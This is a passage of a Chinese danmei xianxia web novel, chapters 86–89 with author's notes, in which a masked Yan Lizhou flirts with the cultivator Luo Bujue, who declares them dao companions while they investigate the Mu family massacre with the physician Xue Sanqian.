做完这个动作,燕黎舟自己心里先打了个突,暗骂自己鬼迷心窍,演戏就演戏,怎么还动上手了? 然而,预料中的抽离或者冷斥并没有到来,洛不觉只是静静地看着他,非但没有抽回手,反而任由燕黎舟握着。 燕黎舟这样有些不自在,心脏突突的跳,感觉马上就要从嗓子眼里蹦出来。 这反应……不对吧? 按照洛不觉那古板正经的性子,此刻不应该直接甩开他,再冷冰冰地斥责一句吗? 就在这时,洛不觉开口了。 “原来如此。” 洛不觉淡淡道,目光依旧落在燕黎舟脸上,“游公子……性情倒是率真。” 燕黎舟:“!!!啊?” 他这叫率真吗? 燕黎舟脑子有点懵,准备好的后续台词卡在了喉咙里。 这时,楼梯上传来了脚步声。 黑金原本是下来询问黎主是否还需要添置些什么,或者是否有其他吩咐。 然而,当他走到一楼,却看见自家黎主正不顾形象地握着某位气质清冷的人的手,关键是这人他还认识。 饶是黑金情绪极少波动,脚步也不由的顿了一下。 燕黎舟听见动静转头,看见黑金,他背对着洛不觉朝着这人疯狂挤眉弄眼。 黑金:“。” 比划什么呢,看不懂。 他装作什么都没有看见,面无表情地走到燕黎舟身侧后方,如同最标准的护卫,垂手肃立,一言不发。 装作自己是一道影子。 燕黎舟:“……” 对面的洛不觉只是抬眸看了眼燕黎舟,然后又垂抿了口茶。 燕黎舟松开握着洛不觉的手,重新坐直身体,脸上又挂上副笑容,紧紧盯着洛不觉。 “洛仙师。”他拖长了语调喊人。 惹得一直跟着燕黎舟的黑金没忍住皱眉看向自家主子。 那三个字被自家主子喊的婉转绵长,黏黏糊糊的,恶心死了。 燕黎舟不知道黑金的想法,没有一点自觉,凑到洛不觉面前继续道。 “您看,这缘分来了真是挡都挡不住。您既然都坐下了,说明跟小的有缘啊!” “这客栈虽然被小的包下了,但空房间多的是!仙师若是不嫌弃,不如就在此住下?” 他一边说,一边朝洛不觉挤眉弄眼。 “小的对仙师仰慕之心,天地可鉴!仙师若是住下,小的必定日日请安,夜夜……呃,愿意聆听仙师的教诲!” 燕黎舟说话时尾音上扬,带着说不清道不明的暧昧,偏偏这人还没有这个意识—— 作者有话说:【率真】: 形容词,描述直率且真诚的性格特质,近义词包括真率,率直。 本质为褒义用语,如《儒林外史》记载“小弟只是一个为人率真”即表达赞赏之意。 多用于赞赏自然不做作的言行,如评价“他总是率真地表达观点” 以上内容均来自bai度。 在文中,是耍流氓,是借口,是掩饰,是某人乐在其中还偏偏一本正经戏弄混不正经的调情py()[闭嘴] 第86章 黑金实在没忍住, 消失在原地,不去看他家主子发春似了的动静。 洛不觉轻轻放下茶杯,抬眸看向燕黎舟, 眼神平静无波, 甚至点了点头。 “也好。” 燕黎舟眼睛微微眯起来, 轻笑一声。 对面这人视线扫过客栈略显空旷的一楼大堂, 最后落回到他脸上。 燕黎舟按耐住伸手摸向自己脸的冲动。 戴着呢的吧。燕黎舟想。 随即燕黎舟一拍胸脯, 立刻扬声喊道。 “黑,老黑!快, 给洛仙师安排房间, 要最好的那间!” 燕黎舟喊完一转头发现自己身后空无一人。 他也不尴尬,自顾自地站起身,亲自引路。 “我带您去房间吧。” 燕黎舟殷勤地在前面带路, 步子轻快,比店里小二还熟悉这里构造,嘴里不停介绍着客栈。 哪处窗景好,哪处通风佳, 聒噪得像只求偶的小鸟。 洛不觉跟在他身后半步远的位置, 面无表情, 像个渣男一样对燕黎舟的过度热情既不回应,也不阻止。 将洛不觉送至宽敞的天字一号房,燕黎舟还想赖着再说些什么,洛不觉却已转身, 房门在他面前不轻不重地合上。 吃了闭门羹的燕黎舟摸了摸鼻子,对着那扇紧闭的房门,喉咙里溢出一声意味不明的轻笑。 “嘿。” 他站在原地,盯着那雕花木门看了几秒。 后又转身, 嘴里哼着不成调的小曲,溜溜达达地回了自己房间——就在洛不觉隔壁。 一进门,他就把脸上那张碍事的人皮面具扯了下来,随手扔在桌上,露出原本精致的眉眼。 他走到与隔壁相邻的那面墙前,屈起手指,不轻不重地敲了两下。 “叩叩。” 隔壁毫无反应。 燕黎舟清了清嗓子,捏着腔调,朝着墙壁方向扬声喊。 “洛仙师,长夜漫漫,无心睡眠,您可觉得孤寂?需不需要小的陪您聊聊天,解解闷儿啊?” 隔壁依旧一片安静。 翌日清晨。 燕黎舟早早就起身,重新将那张平凡无奇的人皮面具仔细戴好,对着镜子左右端详,确认毫无破绽。 又恢复了那副“游子安”富商公子的派头。 燕黎舟估摸着时辰,算准了洛不觉大概会用早膳的点儿,摇着一把不知从哪儿摸出来的折扇,晃晃悠悠地踱出了房门。 果不其然,刚挪到楼梯口,那人的房门就打开。 “嗨,洛仙师。” 燕黎舟立马转身道,三步并作两步凑上前去,折扇唰地一收,拱手作揖。 动作浮夸:“仙师昨夜休息的好吗?” 洛不觉点头。 燕黎舟牛皮糖似的黏在洛不觉身侧半步远的位置,一同往下走,嘴里依旧喋喋不休。 “仙师今日有什么安排?” “没有。” 洛不觉的回答简洁明了,随便找了个靠窗的位置坐下。 燕黎舟亦步亦趋地跟着,坐在洛不觉对面坐下,折扇展开,慢悠悠地摇着,目光却像是黏在了洛不觉身上。 旁边小二自从知道了洛不觉的身份后,就十分有眼力见,这会儿主动给送上壶清茶和几样精致点心。 洛不觉执起茶杯,氤氲的热气模糊了他清冷的眉眼。 燕黎舟看着他端杯的手指,修长匀称,骨节分明,在白玉瓷杯的映衬下,更显白皙。 他忽然想起昨夜自己握住这只手时的感觉。 啧。 “仙师。” 燕黎舟忽然开口,声音比平时低了几分。 没有昨天那样刻意的浮夸,却多了点些说不清道不明的意味。 “您这手……生得可真好看。” 洛不觉端茶的动作一顿,抬眸看向他。 燕黎舟迎着他的目光,非但不躲,反而将身体微微前倾,遮不住的漂亮眼睛漾着笑意。 “小的见过的美人儿也不少,可像仙师这样,连手都长得跟玉雕似的,还真是头一回见。” “这要是搁在我们那儿,不知道多少人想摸上一把呢。” 他这话说得近乎调戏,眼神却清澈无辜。 洛不觉握着茶杯的手指微微收紧。 他静静地看着燕黎舟,那双深邃的眸子里情绪难辨。 空气仿佛在这一刻凝滞,只有茶香笼罩在两人周围。 过了好几秒,就在燕黎舟以为他不会回答的时候,洛不觉却忽然将手中的茶杯轻轻放下。 茶杯与桌子发出细微的磕碰声。 他抬起燕黎舟正在夸赞的手,伸到燕黎舟面前,掌心向上。 表情明晃晃的写着“可以摸”三个大字。 燕黎舟脸上的笑容凝固,摇扇子的动作也停了下来,眼睛瞪得溜圆,看着眼前近在咫尺的手。 这……这让他怎么接?! 摸?还是不摸? 摸上去,岂不是会让他觉得自己是个登徒子? 不摸,刚才那番赞美岂不是显得是骗人的? 燕黎舟喉咙有些发干,视线不由自主地黏在那只手上,从修剪整齐的指甲,到清晰的手腕骨节。 就在燕黎舟脑子一团乱麻,手指蠢蠢欲动又不敢真伸出去的时候,洛不觉却缓缓收回了手,重新端起了茶杯。 “看来,游公子也只是……叶公好龙。” 洛不觉盯着燕黎舟的眼睛,轻飘飘丢下一句。 燕黎舟有些好笑,他看着洛不觉重新端起茶杯,那副云淡风轻仿佛刚才什么也没发生的模样,心底那股劲儿又冒了上来。 “叶公好龙?” 燕黎舟重复着这四个字,尾音微微上扬,带着点玩味。 他身体再次前倾,这次靠得更近,闻到对方身上熟悉的檀香,那双眼睛直勾勾地盯着洛不觉。 “仙师这话可不对。” 他压低声音,语气里带着点无赖。 “小的可不是叶公。小的对仙师的欣赏,那可是真心实意,日月可鉴的,只是——” 燕黎舟故意拖长了语调,目光从洛不觉的眼睛,缓缓滑落到他刚刚收回的手上,眼神暗了暗,像是在回味什么。 “只是仙师这般人物,如同那天山雪莲,只可远观。” 说完燕黎舟就直接握住洛不觉的手,两个人手指交错,摩蹭在一起。 “小的胆子小,怕唐突了仙师,也怕碰了,就舍不得松开了。” 最后几个字,他说得极轻,带着气音,看着对面的人垂着眼眸,长长的睫毛覆盖下来,耳根处泛起红色。 “洛仙师觉得呢?” 燕黎舟故意道,食指摩蹭了一下对方的手背。 下一秒,洛不觉便抬起了眼眸,目光平静地迎上燕黎舟带着得意和挑衅的视线。 语气依旧淡然:“游公子,口舌之利,并无意义。” 燕黎舟笑了起来,松开手,重新靠回椅背,慢悠悠地摇起了折扇。 阳光透过薄薄窗纸,在燕黎舟脸上投下明明暗暗的光影。 “仙师教训的是。” 他从善如流,语气轻松。 “是小的孟浪了 但随之话音又转—— “不过洛仙师怎知道我只是口舌之说,哪里又没有意义。” 话音刚落,洛不觉就放下手里的茶杯,看着燕黎舟,开口,声音平静地没有一丝波动。 “既然如此,那就如你所愿。” 燕黎舟摇扇子的动作一顿:“什么?” 洛不觉仿佛没有察觉到一样,继续用那平淡无奇的语调说道。 “从今日起,你便跟着我。” 他顿了顿,目光在燕黎舟脸上缓缓扫过。 “道侣。” 洛不觉的身体微微前倾,拉近了两人之间的距离,熟悉的檀香再次将燕黎舟笼罩。 他的声音不高,却字字敲在燕黎舟心上。 “我们会在一起,永远。” “难道你不想要的吗,游公子?” 不知道是刻意还是无意,最后三个字被洛不觉咬得略微有些重。 “啊。” 燕黎舟不知道说什么,嘴巴微张,发出来一个音节。 洛不觉目光落在燕黎舟唇上,粉嫩光亮,他离得近,垂眸就能看见对方微微漏出来的舌尖。 一样是漂亮的粉色。 洛不觉喉咙上下轻轻滚动了一下。 燕黎舟彻底懵了。 大脑一片空白,眼睛瞪得老大,看着面前放大的洛不觉的脸。 好看。 燕黎舟脑子里冷不丁冒出来这个词。 看着燕黎舟这副呆若木鸡的模样,洛不觉的眼底深处飞快掠过一丝情绪。 他微微退开些许,目光依旧锁在燕黎舟脸上。 “怎么?这不是你一直想要的吗?还是说……” 洛不觉顿了顿,声音压低:“你只是在戏弄我?” “不是。”燕黎舟这个时候脑子转的倒是快,几乎是洛不觉话落的瞬间飞快的吐出两个字。 然后燕黎舟没忍住,伸手摸了下自己的脸,感受到指尖传来的异样后,心里悄咪咪松了口气。 然后装作轻松。 “当然!” “我肯定喜欢你!” “但我不是……额,没喜欢过男人。” 洛不觉一脸平淡:“没关系,我也没有。” “我们可以慢慢来。” “哈哈。” 燕黎舟干巴巴的笑了两声,试图让语气听起来轻松愉快。 “对对,咱们,咱们可以一起摸索?” 这话一出口,燕黎舟自己都想给自己一巴掌。 这说的都是什么跟什么! 洛不觉闻言,看着燕黎舟那强装镇定的模样,嘴角弯起了一个弧度。 “摸索?” 他重复了一遍这个词,语气里带着点意味不明的玩味,“游公子想如何摸索? 一下子给燕黎舟问得哑口无言,耳根不受控制地开始发烫。 他眼神飘忽,不敢和洛不觉对视,下意识地就想端起桌上的茶杯喝口水掩饰尴尬。 然而,他的手刚碰到茶杯,洛不觉的手却先一步伸了过来,不是去拿茶杯,而是轻轻覆在了他准备端杯的手背上。 熟悉的感觉再次传来,燕黎舟整个人都僵住了。 洛不觉的手并没有用力,只是虚虚地盖着,他的指尖轻轻搭在燕黎舟的指节上。 “既然已经成了道侣。” 洛不觉的声音低沉了几分,带着一种前所未有的的磁性,响在燕黎舟的耳边。 “总该做点和别人不一样的。” 燕黎舟感觉自己心跳如擂鼓,血液仿佛都涌向了被触碰的地方。 他僵着身体,一动不敢动,连呼吸都下意识地放轻了,脑子里只剩下一个念头。 啧—— 作者有话说:哈哈哈哈哈哈哈哈哈哈 木家应该是最后一个剧情点了,终于! 终于在一起啦![撒花][撒花][撒花][撒花](完结曙光[烟花]) 感觉有点对不起木家,洛不觉你个恋爱脑!查案子呢!你干嘛啊!!!! (PS,我知道在查案的时候穿插感情很狗血,但我很开心……磕头了!) 妈的,现在的我总觉得对不起大家,上一秒“你怎么看” 下一秒“酱酱酿酿” ……对不起,磕头! (我现在骂了你们可不可以不要骂了~[可怜][可怜][可怜]) 第87章 燕黎舟感觉自己的血液都在往那只手上涌, 指尖微微发麻。 “和,和别人不一样的?” 燕黎舟的声音不受控制地带上颤抖,他试图抽回手, 没抽动。 洛不觉的目光落在两人交叠的手上, 指尖缓慢地在燕黎舟的指关节上轻轻划了一下。 “最简单的。” “牵手。” 燕黎舟浑身一颤, 几乎是瞬间就想把手抽回来, 却被洛不觉提前预判般, 用指尖稍稍用力,按住了。 “游公子。” 洛不觉抬起眼, 看向燕黎舟。 “不喜欢吗?” “还是, 受不了?” 燕黎舟被他这话一激,那股子不服的劲头又冒了上来。 哪怕此刻他的脸通红。 谁受不住了?! 燕黎舟梗着脖子,硬是压下了想要逃跑的冲动, 反手一翻,竟是主动握住了洛不觉的手! “谁……谁说我受不住了!” 他声音有点发虚,但动作却带着一股豁出去的莽劲。 “牵就牵!什么大风大浪没见过!” 燕黎舟说这话时差点咬到自己的舌头,说出来的话黏糊糊的, 听起来倒像是“亲就亲”。 他紧紧握着洛不觉的手, 掌心相贴, 能清晰地感受到对方手指的骨节大小和好像永远略低于自己的体温。 燕黎舟脸颊发烫,却奇怪的不想松开。 洛不觉眸中闪过一丝讶异,唇角忍不住弯了弯。 他没有挣脱,反而微微调整了一下手势, 让两人的手指更自然地交握在一起。 “嗯。”洛不觉低声道。 “待会亲。” 燕黎舟没仔细听清对方说的什么,一门心思在自己手上。 感觉自己的手心在不断出汗,黏腻腻的,他有些窘迫。 燕黎舟想说点什么来打破这令人心跳加速的沉默, 却又不知道该说什么,于是只能僵硬地坐着,感受着从对方手上传来的温度。 过了不知多久,也许是片刻,也许是很久,洛不觉才微微动了一下手指。 “今日做的很好了。” 他说着,缓缓松开了手。 好不容易暖热的温度一空,燕黎舟竟觉得手心一阵空落,下意识地蜷缩了一下手指。 他还没来得及反应过来,就见洛不觉已经起身。 “洛仙师要去哪儿?” 燕黎舟几乎是脱口而出。 “木家旧址。” 洛不觉言简意赅,脚步未停。 “我也去!” 燕黎舟立刻弹起来,再次黏上洛不觉。 “我给你带路!再说……仙师一个人去查案,多不安全!” 他胡乱找了个借口,快步跟上洛不觉,与他并肩走出了客栈。 风京的街道熙熙攘攘,阳光正好。 燕黎舟刚走出客栈就在门口看见店家小二挂着的牌子。 【本店已包场!】 燕黎舟轻轻挑了下眉毛,转头看向洛不觉,对方一脸正经,面无表情。 两个人并排,谁也没说话。 迎面走过来一个卖糖葫芦的老伯,阳光下亮晶晶的,燕黎舟没忍住多看了两眼。 他倒不是真想吃,只是觉得那金灿灿的挺好看,脚步慢了一点。 旁边洛不觉似有所觉,停下脚步,转头看他。 燕黎舟连忙收回视线,打着哈哈。 “怎么停下了?仙师我们快走吧……” 在他不解的眼神中,洛不觉转身走向了那个卖糖葫芦的老伯。 掏出几枚铜钱,对老伯道:“要这个。” 老伯笑呵呵地抽出来,递给洛不觉,对方接过糖葫芦串,转身,十分自然地递到了燕黎舟面前。 “……” 燕黎舟看着递到眼前的糖葫芦,愣住了。 “洛不觉。” 他有点结巴,之前洛不觉给他买他也没有什么感觉,此时莫名幻视男朋友给女朋友买东西。 “拿着。” 洛不觉语气依旧平淡:“看你似乎感兴趣。” 燕黎舟下意识地伸手接过,指尖不小心触碰到洛不觉微凉的指尖。 他握着那根细竹签,心里像是被什么东西轻轻撞了一下,有点甜,又有点无措。 他低头,掩饰性地咬下一颗糖葫芦,甜和酸一起充满了嘴巴。 “甜吗?” 洛不觉的声音在旁边响起。 燕黎舟抬头,对上洛不觉的目光,耳根微热,含糊地“嗯”了一声。 洛不觉没再说什么,转身继续前行。 燕黎舟赶紧跟上,一手举着糖葫芦,手指无意识地摩挲着竹签。 两人继续往前走,在经过一个卖小玩意的摊子时,燕黎舟就看见一个雕刻粗糙却憨态可掬的小鸟上。 这次,他没等洛不觉动作,自己便一个箭步冲上去,利落地付钱买下了那个小木鸟,然后献宝似的塞到洛不觉手里。 “仙师,给!” 他眼睛亮晶晶的。 洛不觉看着手里那只歪脖子木鸟,沉默了片刻,终究还是将木鸟收进了袖中,低声道:“多谢。” 虽然依旧没什么表情,但燕黎舟就是觉得,他心情不错。 “喜欢吗?” 燕黎舟追问。 “喜欢。” 穿过几条街道后,周边的小摊越来越少,只有固定的几个摊子地盘,两人也越走越边缘。 行人稀少,连空气都带着一股若有若无的焦糊气味。 木府气派的朱漆大门如今只剩下焦黑的颜色,歪斜着,上面白色的封条依旧倔强的贴着。 高墙坍塌,露出内里,断壁残垣间,依稀可见昔日亭台楼阁的轮廓。 如今却只是废墟。 洛不觉没有进去,他先是走向旁边一家茶馆。 “老人家,打扰。” “请问近日可曾见过什么陌生面孔在这一带出没?” 洛不觉顿了一下,补充:“或者,木家出事前,可有什么异常?” 老者看了看洛不觉一身仙风道骨,又瞥了一眼他身后穿着富贵的燕黎舟。 “仙师是来查案的吧?” “陌生面孔,这风京城每日人来人往,小老儿也记不清。” 他说着不知道被官差问过多少次的话,飞快说完摇了摇头挥了挥手示意他们离开吧,继续擦着自己的桌子。 洛不觉继续问:“那木家在灭门之前有没有什么得罪的人?” “得罪的人……” 小老头儿皱起眉头,又道。 “木家老爷前阵子好像脾气特别暴躁,跟城东的王掌柜为了批货价钱吵得不可开交,差点动了手。” 这时,燕黎舟凑近洛不觉,用只有两人能听到的声音低语:“仙师,做生意的难免会有争争吵吵。” “但能让木老爷这等身份的人失态到几乎动手,那批货或者那价钱,恐怕问题不小。” 他靠得极近,温热的气息若有若无地拂过洛不觉的耳朵。 洛不觉不动声色地微微偏头,看了他一眼,点了点头,在桌上放了一锭银子:“多谢老人家。” 随即又走向旁边一家铺子。 这是一家绸缎庄子铺,洛不觉正要向掌柜打听,燕黎舟却抢先一步,脸上堆起生意人的笑容,自然地与掌柜攀谈起来。 几句有关于近期布料行情和货运成本的闲聊后,便巧妙地将话题引向了木家。 “说起来,木家之前也是咱们这行的大主顾,这一下……唉,听说他们家前段时间还盘下一批紧俏货,准备大赚一笔呢,可惜了。” 掌柜被他带起了谈兴,压低声音道。 “谁说不是呢!那批货听说来路有点……嗯,不太明朗,但利润极高,南疆来的。” 掌柜的一脸唏嘘。 “木老爷当时志在必得,为此还得罪了……咳,” 他突然意识到自己失言,连忙刹住话头,尴尬地笑了笑。 燕黎舟立刻心领神会,不再追问,而是自然地买了匹料子,算是谢礼。 转身将料子塞给洛不觉,眨了眨眼:“老洛,这料子不错,给你做件新外袍?” 洛不觉看着怀里被硬塞过来的颜色明显过于鲜亮的绸缎,有些无奈,却也没推开,只是低声道。 “专心查案。” “是是是,查案查案。” 燕黎舟笑嘻嘻地应着,目光却依旧黏在洛不觉身上。 扳回一局! 两人又陆续问了几家店铺和路人。 最终得出猜想,木家在灭门前,可能是因为一桩涉及南疆的生意,并且因此与某些势力产生了激烈冲突。 燕黎舟微微偏头看向自己身旁站着低头思考的人。 他悄悄将手里最后一颗糖葫芦递到洛不觉唇边,低声道:“仙师,歇会儿,吃点甜的?” 洛不觉垂眸看着唇边红艳艳的果子,又抬眼看了看燕黎舟,沉默片刻,终究还是微微张口,就着他的手,轻轻咬下了那颗糖葫芦。 酸甜的滋味在口中弥漫开来。 “甜吗?”燕黎舟又问。 “嗯。” 两人重新又来到木家。 他们避开偶尔经过的行人,寻了一处角落,翻墙进去。 进去时,一股焦糊的难闻气味扑面而来,比在外面感受到的要浓烈数倍。 焦黑的木料与破碎的瓦砾混杂在一起。 两人小心翼翼的,洛不觉不时蹲下身,检查周围有没有留下什么痕迹。 内院里有一处烧的很严重的偏厅。 这里几乎被完全焚毁,几根焦黑的柱子勉强支撑着摇摇欲坠的屋顶。 厅内景象更为惨烈,打斗痕迹明显,墙壁上甚至留下了深深的爪痕,绝非寻常兵器所能造成。 “南姒姬。” 燕黎舟几乎是瞬间就认出来这是谁的爪印,上前几步仔细看。 “这老妖怪盘踞北境边缘多年,行事狠辣,最是记仇。” “木家若真得罪了她,或是动了她的利益,被她找上门来灭门,并非不可能。” 燕黎舟分析道。 “嗯。”洛不觉应了一声,也走近几步,伸手摸上那道痕迹,蹭了一手灰。 燕黎舟察觉到洛不觉过来,往旁边倾了倾身子,手臂不经意间轻轻擦过了洛不觉垂在身侧的手。 燕黎舟瞬间回神,猛地想要缩回手。 只是还不等他缩回去,洛不觉的手指动了动,恰好勾住了他想要收回的手。 “差不多了,先回去。”—— 作者有话说:…… 这个…… 那个…… 你们两个在办案的时候不要三心二意,好好办案,不要搞这些,谢谢! 计算了一下,十一月初就能完结,没有几章啦! 应该可以相信我![闭嘴] 第88章 洛不觉的手指勾住燕黎舟想要缩回的手, 力道不轻不重。 燕黎舟耳根又开始不受控制地发热,心里暗骂自己没出息,面上却强作镇定。 然后整个人逐渐变得大胆。 燕黎舟得寸进尺地用指腹在洛不觉手心里轻轻挠了挠。 “洛道长。” 他压低了声音, 依旧带着点黏糊劲儿。 “光天化日的, 拉拉扯扯, 不好吧?让人瞧了去, 还以为咱们有什么私情呢。” 燕黎舟顶着张平平无奇做出这般轻佻神态, 偏偏那双眼睛,又明明白白是燕黎舟的。 太过漂亮, 与那张脸格格不入。 不知道是不是这个原因, 洛不觉总是盯着他的眼睛看,就比如现在。 洛不觉侧头看他,面上依旧没什么表情, 只是扣着他手指的力道稍稍重了一分。 “没人。” “没有偷偷摸摸,我们是道侣。”稍作停顿后洛不觉补充道。 两人还没离开内院,就听到外侧传来一阵脚步声。 对方似乎也察觉到他们。 “咦?这鬼地方居然还有人?” 这声音……有点耳熟? 燕黎舟和洛不觉同时看向外面,只见一个背着旧药箱灰蓝色身影从一堵半塌的月亮门后探出头来。 正是许久未见的薛三钱! 见到两人, 薛三钱脸上也带着意外。 “啧。” 薛三钱撇了撇嘴, 尤其是看见拉扯的人里其中之一是洛不觉。 “光天化日, 拉拉扯扯,伤风败俗。” 他下意识说完,说完话才注意到洛不觉身旁的人,他不认识。 “?” 燕黎舟一听薛三钱这话, 将洛不觉的手臂抱得更紧了些,下巴微抬。 主要是他现在顶着的不是他的脸,游子安丢掉人,管他燕黎舟什么事。 “这位小哥话说的, 我与我家道侣亲近,天经地义,怎么就叫伤风败俗了?莫非……你羡慕?” 洛不觉面无表情,由着燕黎舟胡闹,只淡淡补充了一句:“名正言顺。” “道侣?” 薛三钱看看洛不觉,又看看那个陌生男人。 脸上的表情有些复杂,他摸了摸下巴,啧啧两声。 “洛仙尊,这才多久不见。” “连道侣都有了?真是令人意外。” 燕黎舟心里有些打鼓,生怕被这精得像鬼一样的薛三钱看出破绽。 毕竟之前薛三钱第一时间就瞧出来公羊胜带着的人皮面具。 他哼了一声,抢在洛不觉前面开口,语气带着点不耐烦,开始嚣张跋扈。 “怎么?我们俩情投意合,结为道侣还要跟你报备不成?” “你这人怎么这么爱管闲事?” 这句话燕黎舟有些心虚,说话声音也越来越小。 洛不觉垂眸看了一眼身边“张牙舞爪”的燕黎舟,眼底快速闪过一丝笑意,随即抬眼对薛三钱道。 “今天太阳大,所以都会比较燥,薛大夫见谅。” 燕黎舟暗暗掐了洛不觉手心一下。 薛三钱看着两人,忍住不翻白眼的冲动。 “哦。” 洛不觉问:“薛大夫怎么在这?” 薛三钱拍了拍自己身上的药箱,回答洛不觉的问题:“不是说木家灭门了吗,听说那天妖气很浓,我有点好奇,过来看看。” 他顿了顿,目光在洛不觉和那个紧紧抱着对方手臂一脸嚣张的陌生男人之间扫了个来回。 “没想到遇见你们。你俩也是来探查的?” “不是!” 燕黎舟刚说完,洛不觉和薛三钱的视线就齐刷刷看过来。 “自然是来查案的!” 燕黎舟也反应过来自己在哪儿,连忙换了个说辞。 燕黎舟抢着回答,下巴抬得更高。 “我家道侣心系天下,这等惨案,岂能坐视不理?” 他说着,还刻意晃了晃洛不觉的手臂,营造出来的人设与他八竿子打不到一起去。 同时内心疯狂吐槽:快走快走快走,求你求你求你,看不出来看不出来看不出来! 看出来也别说看出来也别说看出来也别说! 洛不觉由着他表演,燕黎舟说完话他看向薛三钱,语气没有波动。 “薛大夫医术精湛,感知敏锐,可在此处有何发现?” 薛三钱嘴角微抽,他算是看出来了。 “我也是刚来风京,想要消息?先给我找个住处吧。” “嗯?”燕黎舟疑惑:“风京客栈不少吧。” “哦,所以呢?” “……” 薛三钱继续问:“所以我不能和你们住在一个客栈吗?” 薛三钱那句“所以我不能和你们住在一个客栈吗”问得理所当然,甚至还带着点“你们不会这么小气吧”的无辜。 燕黎舟心里警铃大作,跟他住在同一个屋檐下,自己这马甲还能捂得住吗?! 他几乎要脱口而出就要拒绝。 薛三钱:“总不能白嫖我知道的消息吧。” 燕黎舟拒绝的话又咽回去,眼神偷摸瞥了眼旁边的洛不觉。 “可以。”他道。 “缘来居客栈,钱我替你出。” 薛三钱眯了眯眼睛,有意无意扫过洛不觉。 “行,那就多谢公子破费了。” 洛不觉自然接话:“不客气,毕竟我的道侣有钱。” 燕黎舟又偷偷掐洛不觉手心。 洛不觉面不改色,只微微收拢手指,将那只作乱的手握得更紧了些。 薛三钱他懒得点破俩人之间的小动作,背着药箱率先往外走。 “不过,公子这慷慨解囊的架势,倒让我想起一位故人。” 燕黎舟心头一跳,面上却强装镇定。 “哦?哪位故人?也像我这般乐善好施,风流倜傥?” 薛三钱回头,意味深长地看了他一眼。 直看得燕黎舟后背发毛,才慢悠悠道:“那倒没有。那位故人,抠门得很,雁过拔毛,兽走留皮,可比不上公子哥您万分之一。” “他和你道侣关系极好,俩人倒是一样的,白嫖我那是一分钱不给。” 燕黎舟:“……” 啧。 三人一同回到了缘来居客栈。 薛三钱要了间上房,就在他们房间的隔壁。 店小二引着薛三钱去房间,三人碰见在客栈待命的黑金。 薛三钱歪了歪脑袋,轻笑:“这么热的天,穿这么严实,还带个丑不拉几的面具。” “不味吗?” 黑金:“。” 燕黎舟却像只被踩了尾巴的猫,抢先道。 “这面具哪里丑?多好看!” 洛不觉看了一眼炸毛的燕黎舟,对薛三钱点了点头,语气一本正经:“嗯,合我眼缘。” 薛三钱嘴角似乎抽动了一下,又看了两眼那花纹张扬的像是鬼画符的面具,最终什么都没说,跟着小二进了自己的房间。 三人各自回房稍作整理,随后在二楼一个空的房间汇合。 薛三钱看到门口满客的牌子,以及整个客栈除了他们就没有别人后,也明白了。 “游公子真的财大气粗。” 洛不觉碍着燕黎舟,闻言面不改色:“嗯,他的就是我的。” 燕黎舟:“……” 他暗暗掐了洛不觉一下。 薛三钱懒得看他他们,喝了口茶,直奔主题。 “我比你们早到风京,当时木家灭门没有多久。” “木家灭门那晚,妖气确实浓得反常,但消散得也极快,像是被什么东西瞬间操控的或者是刻意掩盖的一样。” 他顿了顿,看向洛不觉。 “并且木家上下几十口,尸体被发现时,都干瘪得如同被风干了数十年,精血魂魄荡然无存。” “这手法,不似寻常妖魔所为。” 燕黎舟原本还在玩洛不觉的手指,听到这里,动作微微一顿。 他道:“听着就邪门。薛大夫,你医术高明,看出点什么没?” 薛三钱瞥了他一眼,继续对洛不觉道。 “我验过一具木家仆役的尸体,木家大夫人娘家林家跋扈,家主一脉尸体我不好去动。” “仆役尸体干瘪,精血魂魄尽失,表面看像是被吸干了。但尸体身上有伤口,推断是蛇妖。” “估计是修行了什么邪法,走了吃人的道路,木家很不幸被选中,或许是木家的人得罪过他,毕竟蛇妖很是记仇嘛。” 薛三钱给自己倒了杯茶,看向洛不觉,说出自己的结论:“修为不低的蛇妖。” “那些爪印估计也是故意留下来掩人耳目的。” 燕黎舟眉心皱在一起,蛇妖? 他面上却扯出个玩味的笑,指尖在洛不觉掌心画着圈。 “蛇妖?啧,听着就不好惹。” 薛三钱顿了顿,意有所指地补充。 “风京近来龙蛇混杂,二位,尤其是游公子,还是谨慎些好。” 他的目光扫过燕黎舟,毕竟这人身上脸上都写满了“我有钱”。 燕黎舟故意侧身靠向洛不觉,几乎要贴到他耳边,用不大不小刚好能让薛三钱听到的声音“抱怨”。 “你看他,老是吓唬人……” 这话说完燕黎舟自己都要给自己一巴掌。 什么恶心出。 但为了不让薛三钱把人往自己身上想,燕黎舟豁出去了。 洛不觉任由他靠着,面无表情反握住燕黎舟的手。 “嗯,不怕。” 他看向薛三钱:“多谢薛大夫告知。蛇妖之事,我们会留意。” 薛三钱只觉得眼皮直跳,他干脆利落地起身。 “行了,我回房了。” 房门关上,燕黎舟揉了揉刚才被洛不觉碰过的手,耳根微红,不动声色松开洛不觉。 屁股也往旁边挪了挪。 “洛不觉,你怎么看?” 洛不觉没急着回答,他的目光落在燕黎舟泛红的耳朵,又移到对方侧脸。 下颌分明,粉红的唇轻轻抿紧,明明很紧张却又在刻意装作放松。 他朝燕黎舟那边倾身。 燕黎舟正在思考薛三钱刚刚说的,察觉到阴影笼罩,下意识一回头,唇上就擦过了一片微凉柔软的触感。 燕黎舟猛地睁大了眼睛,脑子里嗡的一声,一片空白。 洛不觉并没有深入,只是贴着,近在咫尺的墨色眼眸沉静地看着他。 呼吸浅浅交缠,熟悉的气息,烧得燕黎舟脸颊滚烫。 “你……” 燕黎舟终于找回一点声音,气音般微弱,带着些难以置信。 他撇了眼窗外:“现在是白天!” 燕黎舟语气有些气急败坏。 洛不觉稍稍退开,眸子微微向下,落在对方因惊讶微张的唇瓣上,低声开口。 “我们是道侣。” “这都是该做的。” “你早上也说了,可以亲。”—— 作者有话说:办案的时候不许打情骂俏,亲亲我我,酱酱酿酿![闭嘴][闭嘴][闭嘴] 然后——全勤全勤全勤[撒花][撒花][撒花] 最后——好困好困好困[愤怒][愤怒][愤怒] 睡觉! 晚安呐[哈哈大笑] 第89章 洛不觉那句“这都是该做的”说得理所当然, 平静的语气反而比任何挑逗都更让人面红耳赤。 主要这人是燕黎舟。 什么时候说的。 燕黎舟脑子已经开始一片浆糊。 洛不觉的手掌不知何时已轻轻托住了他的脸颊,微凉的唇瓣再次覆上来。 “唔……” 燕黎舟闷哼一声,大脑彻底宕机。 什么蛇妖, 什么木府, 什么人和妖。 他下意识地想后退, 可对方的手死死握着他的后颈, 掌心蹭着的那块皮肤像是火烧一样。 燕黎舟几乎是下意识地攥紧了洛不觉胸前的衣料。 洛不觉的吻和他的人一样, 唇瓣是凉的,可是舌尖却透着灼人的温度。 